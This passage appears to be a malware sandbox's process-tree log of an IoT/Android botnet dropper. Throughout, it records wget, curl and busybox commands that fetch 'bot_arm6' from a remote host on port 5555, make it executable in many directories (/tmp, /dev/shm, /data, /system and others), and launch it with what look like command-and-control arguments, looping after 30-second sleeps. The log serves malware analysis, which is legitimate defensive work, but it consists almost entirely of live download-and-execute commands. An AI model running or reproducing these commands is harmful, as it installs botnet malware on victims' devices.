  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:892
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:904
- /bin/chmod
  chmod +x bot
  2⤵
  PID:905
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/chmod
  chmod +x bot
  2⤵
  PID:908
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:913
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:914
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:915
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:918
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:920
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:919
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:922
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:924
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:923
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:928
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:927
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:930
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:932
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:931
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:936
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:935
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:938
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:940
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:939
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:944
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:943
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:948
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:947
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:951
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:954
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:956
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:955
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:958
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:960
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:959
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:962
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:964
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:963
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:968
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:967
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:970
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:972
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:971
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:974
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  PID:976
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:975
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:978
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:980
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:979
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:983
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:984
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:985
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  PID:987
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:986
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:990
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:989
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:991
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:993
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:992
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:996
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:995
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:998
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1000
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:999
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1004
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1003
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1006
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1008
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1007
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1010
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1012
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1011
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1014
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1016
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1015
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1018
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  PID:1020
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1019
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1021
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1023
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1022
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1024
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1026
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1025
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1027
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1029
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1028
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1030
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1032
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1031
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1033
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1035
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1034
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1036
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1038
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1037
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1039
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1041
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1040
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1042
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1044
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1043
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1045
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1047
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1046
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1048
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1050
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1049
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1051
- /bin/sleep
  sleep 30
  2⤵
  PID:1053
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1052
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1060
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1061
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1063
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1064
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1066
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1067
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1069
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1070
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1072
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1071
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1074
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1076
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1075
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1078
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1080
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1079
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1082
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1084
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1083
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1086
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1088
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1087
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1090
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1092
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1091
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1094
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:1096
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1095
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1098
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1100
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1099
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1102
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1104
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1103
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1106
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1108
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1107
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1110
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1112
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1111
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1114
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1116
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1115
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1118
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1120
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1119
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1122
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1124
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1123
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1126
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1128
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1127
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1130
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1132
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1131
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1133
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1135
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1134
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1136
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1138
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1137
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1139
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1141
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1140
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1142
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1144
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1143
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1145
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1147
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1146
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1148
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  PID:1150
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1149
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1153
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1155
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1154
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1158
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1160
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1159
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1162
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1164
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1163
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1166
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1168
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1167
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1170
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1172
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1171
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1174
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1176
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1175
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1177
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1179
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1178
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1180
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1182
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1181
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1183
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1185
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1184
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1186
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1188
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1187
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1189
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1191
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1190
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1192
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1194
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1193
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1195
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1197
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1196
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1198
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1200
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1199
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1201
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  PID:1203
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1202
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1204
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1206
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1205
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1207
- /bin/sleep
  sleep 30
  2⤵
  PID:1209
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1208
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1216
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1217
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1219
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1220
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1222
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1223
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1225
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1226
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1228
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1227
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1230
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1232
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1231
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1234
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1236
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1235
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1238
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1240
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1239
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1242
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1244
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1243
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1246
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1247
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1248
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1249
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:1252
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1251
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:1254
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1256
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1255
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1258
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1260
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1259
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1262
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1264
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1263
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1266
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1268
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1267
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1270
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1272
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1271
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1274
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1276
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1275
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1278
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1280
- /mnt/bot
